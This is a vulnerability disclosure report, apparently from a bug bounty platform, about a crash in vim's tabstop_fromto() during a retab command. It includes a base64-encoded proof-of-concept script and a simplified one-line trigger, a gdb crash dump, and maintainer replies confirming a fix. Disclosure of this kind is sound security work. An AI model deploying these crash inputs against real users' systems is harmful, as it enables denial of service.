Floating Point Comparison with Incorrect Operator in vim/vim

Valid

Reported on

Feb 4th 2022


Description

Floating point error in tabstop_fromto().

commit : 7676c158798a7c90f500cab2c12af0d47bad6026

Proof of Concept

$ echo -ne "bm9ybTBvMDD/MDAwMDAwMDAwMDAwMDAwMDAwMApzaWwhbm9ybRZjMDAwCQpmdSBSZXRhYihnLG4p
Cm8KZXhlInJldCJhOm4KZW5kZgpjYWwgbCgiIixSZXRhYigwLDQpCnNlIHRhYnN0b3A9NTAwMDAw
MDBHMDAwMDAwMDAwMDAgMApjYWwgbCgiIixSZXRhYigwLDA1MDAwMDAwMDAwMDAwMDAwMDAwMCk=" | base64 -d > poc

# Run
$ ./vim -u NONE -e -s -S poc -c ":qa!"
Floating point exception (core dumped)

# gdb
$ gdb ./vim
gdb-peda$ r -u NONE -e -s -S poc -c ":qa!"
Starting program: /home/alkyne/fuzzing/vim-valgrind/src/vim -u NONE -e -s -S poc -c ":qa!"

Program received signal SIGFPE, Arithmetic exception.
[----------------------------------registers-----------------------------------]
RAX: 0x18
RBX: 0x7127f0 (<__libc_csu_init>:   endbr64)
RCX: 0x7d9330 --> 0x1
RDX: 0x0
RSI: 0x1
RDI: 0x18
RBP: 0x7fffffff9da0 --> 0x7fffffff9e70 --> 0x7fffffffa110 --> 0x7fffffffa8d0 --> 0x7fffffffa990 --> 0x7fffffffac30 (--> ...)
RSP: 0x7fffffff9da0 --> 0x7fffffff9e70 --> 0x7fffffffa110 --> 0x7fffffffa8d0 --> 0x7fffffffa990 --> 0x7fffffffac30 (--> ...)
RIP: 0x4eeb38 (<tabstop_fromto+376>:    idiv   DWORD PTR [rcx+rsi*4])
R8 : 0x7fffffff9dd4 --> 0x0
R9 : 0x7fffffff9dd0 --> 0x0
R10: 0x7c6010 --> 0x1000000030000
R11: 0x7ffff7e33be0 --> 0x7e7940 --> 0x0
R12: 0x404c90 (<_start>:    endbr64)
R13: 0x7fffffffe370 --> 0x9 ('\t')
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4eeb2f <tabstop_fromto+367>:   mov    rcx,QWORD PTR [rbp-0x18]
   0x4eeb33 <tabstop_fromto+371>:   movsxd rsi,DWORD PTR [rbp-0x38]
   0x4eeb37 <tabstop_fromto+375>:   cdq
=> 0x4eeb38 <tabstop_fromto+376>:   idiv   DWORD PTR [rcx+rsi*4]
   0x4eeb3b <tabstop_fromto+379>:   mov    eax,DWORD PTR [rbp-0x58]
   0x4eeb3e <tabstop_fromto+382>:   sub    eax,edx
   0x4eeb40 <tabstop_fromto+384>:   mov    DWORD PTR [rbp-0x34],eax
   0x4eeb43 <tabstop_fromto+387>:   mov    eax,DWORD PTR [rbp-0x2c]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff9da0 --> 0x7fffffff9e70 --> 0x7fffffffa110 --> 0x7fffffffa8d0 --> 0x7fffffffa990 --> 0x7fffffffac30 (--> ...)
0008| 0x7fffffff9da8 --> 0x4f1db2 (<ex_retab+706>:  movsxd rax,DWORD PTR [rbp-0x9c])
0016| 0x7fffffff9db0 --> 0x7d9310 ("ret 720575940379279360")
0024| 0x7fffffff9db8 --> 0xffffffff
0032| 0x7fffffff9dc0 --> 0x100000071840e
0040| 0x7fffffff9dc8 --> 0x5c ('\\')
0048| 0x7fffffff9dd0 --> 0x0
0056| 0x7fffffff9dd8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGFPE
0x00000000004eeb38 in tabstop_fromto (start_col=0x18, end_col=0x20, ts_arg=0x4, vts=0x7d9330,
    ntabs=0x7fffffff9dd4, nspcs=0x7fffffff9dd0) at indent.c:232
232     padding = vts[tabcount] - (int)((start_col - tabcol) % vts[tabcount]);
gdb-peda$ bt
#0  0x00000000004eeb38 in tabstop_fromto (start_col=0x18, end_col=0x20, ts_arg=0x4, vts=0x7d9330,
    ntabs=0x7fffffff9dd4, nspcs=0x7fffffff9dd0) at indent.c:232
#1  0x00000000004f1db2 in ex_retab (eap=0x7fffffffa008) at indent.c:1695
#2  0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffa898, flags=0x3, cstack=0x7fffffffa250,
    fgetline=0x687440 <get_func_line>, cookie=0x7d9860) at ex_docmd.c:2567
#3  0x00000000004948d0 in do_cmdline (cmdline=0x7d97c0 "ret 720575940379279360",
    fgetline=0x687440 <get_func_line>, cookie=0x7d9860, flags=0x3) at ex_docmd.c:993
#4  0x000000000046632e in ex_execute (eap=0x7fffffffab28) at eval.c:6491
#5  0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffb3b8, flags=0x7, cstack=0x7fffffffad70,
    fgetline=0x687440 <get_func_line>, cookie=0x7d9860) at ex_docmd.c:2567
#6  0x00000000004948d0 in do_cmdline (cmdline=0x0, fgetline=0x687440 <get_func_line>, cookie=0x7d9860,
    flags=0x7) at ex_docmd.c:993
#7  0x00000000006802ba in call_user_func (fp=0x7d8d00, argcount=0x2, argvars=0x7fffffffbee0,
    rettv=0x7fffffffc840, funcexe=0x7fffffffc0a0, selfdict=0x0) at userfunc.c:2816
#8  0x000000000067f56b in call_user_func_check (fp=0x7d8d00, argcount=0x2, argvars=0x7fffffffbee0,
    rettv=0x7fffffffc840, funcexe=0x7fffffffc0a0, selfdict=0x0) at userfunc.c:2963
#9  0x000000000067e246 in call_func (funcname=0x7d8570 "Retab(0,05", '0' <repeats 19 times>, ")", len=0x5,
    rettv=0x7fffffffc840, argcount_in=0x2, argvars_in=0x7fffffffbee0, funcexe=0x7fffffffc0a0)
    at userfunc.c:3517
#10 0x000000000067d942 in get_func_tv (name=0x7d8570 "Retab(0,05", '0' <repeats 19 times>, ")", len=0x5,
    rettv=0x7fffffffc840, arg=0x7fffffffc988, evalarg=0x7fffffffca68, funcexe=0x7fffffffc0a0)
    at userfunc.c:1778
#11 0x0000000000467828 in eval_func (arg=0x7fffffffc988, evalarg=0x7fffffffca68,
    name=0x7d85a9 "Retab(0,05", '0' <repeats 19 times>, ")", name_len=0x5, rettv=0x7fffffffc840, flags=0x1,
    basetv=0x0) at eval.c:2096
#12 0x0000000000467167 in eval7 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68,
    want_string=0x0) at eval.c:3739
#13 0x0000000000468f2d in eval7t (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68,
    want_string=0x0) at eval.c:3419
#14 0x0000000000468925 in eval6 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68,
    want_string=0x0) at eval.c:3211
#15 0x000000000046810a in eval5 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
    at eval.c:2974
#16 0x0000000000467daa in eval4 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
    at eval.c:2827
#17 0x00000000004678e8 in eval3 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
    at eval.c:2688
#18 0x0000000000460e58 in eval2 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
    at eval.c:2562
#19 0x000000000045bf28 in eval1 (arg=0x7fffffffc988, rettv=0x7fffffffc840, evalarg=0x7fffffffca68)
    at eval.c:2408
#20 0x000000000067d6cc in get_func_tv (name=0x7d9840 "l", len=0xffffffff, rettv=0x7fffffffcb20,
    arg=0x7fffffffcb50, evalarg=0x7fffffffca68, funcexe=0x7fffffffca08) at userfunc.c:1724
#21 0x000000000068717b in ex_call (eap=0x7fffffffccf8) at userfunc.c:5365
#22 0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffd588, flags=0x7, cstack=0x7fffffffcf40,
    fgetline=0x5e6910 <getsourceline>, cookie=0x7fffffffd6b0) at ex_docmd.c:2567
#23 0x00000000004948d0 in do_cmdline (cmdline=0x7d66c0 "norm0o00\377", '\060' <repeats 19 times>,
    fgetline=0x5e6910 <getsourceline>, cookie=0x7fffffffd6b0, flags=0x7) at ex_docmd.c:993
#24 0x00000000005e6093 in do_source (fname=0x7d7bc3 "poc", check_other=0x0, is_vimrc=0x0, ret_sid=0x0)
    at scriptfile.c:1512
#25 0x00000000005e563e in cmd_source (fname=0x7d7bc3 "poc", eap=0x7fffffffd908) at scriptfile.c:1098
#26 0x00000000005e555c in ex_source (eap=0x7fffffffd908) at scriptfile.c:1124
#27 0x0000000000497619 in do_one_cmd (cmdlinep=0x7fffffffe198, flags=0xb, cstack=0x7fffffffdb50,
    fgetline=0x0, cookie=0x0) at ex_docmd.c:2567
#28 0x00000000004948d0 in do_cmdline (cmdline=0x7d7b80 "so poc", fgetline=0x0, cookie=0x0, flags=0xb)
    at ex_docmd.c:993
#29 0x00000000004954c1 in do_cmdline_cmd (cmd=0x7d7b80 "so poc") at ex_docmd.c:587
#30 0x00000000007076b3 in exe_commands (parmp=0x7c44e8 <params>) at main.c:3088
#31 0x000000000070676a in vim_main2 () at main.c:774
#32 0x000000000070434f in main (argc=0x9, argv=0x7fffffffe378) at main.c:426
#33 0x00007ffff7c6f0b3 in __libc_start_main (main=0x703e80 <main>, argc=0x9, argv=0x7fffffffe378,
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe368)
    at ../csu/libc-start.c:308
#34 0x0000000000404cbe in _start ()

Impact

This bug is capable of Denial of Service (DoS).

We are processing your report and will contact the vim team within 24 hours. 4 months ago
We have contacted a member of the vim team and are waiting to hear back 4 months ago
Bram Moolenaar validated this vulnerability 4 months ago
alkyne Choi has been awarded the disclosure bounty
The fix bounty is now up for grabs
Bram Moolenaar
4 months ago

Maintainer


I can reproduce it. The POC can be much simplified though.

Bram Moolenaar
4 months ago

Maintainer


It can be reproduced with just this command on a line with a Tab: "retab 720575940379279360"

Bram Moolenaar confirmed that a fix has been merged on fc88df 4 months ago
Bram Moolenaar has been awarded the fix bounty
alkyne Choi
4 months ago

Researcher


@maintainer Could you assign a CVE?

Bram Moolenaar
4 months ago

Maintainer


I cannot, I think you need an admin for that.

alkyne Choi
4 months ago

Researcher


@admin

Jamie Slome
4 months ago

Admin


@alkyne - unfortunately, we do not assign CVEs against this type of vulnerability/weakness/CWE.

alkyne Choi
4 months ago

Researcher


Okay, thanks !

to join this conversation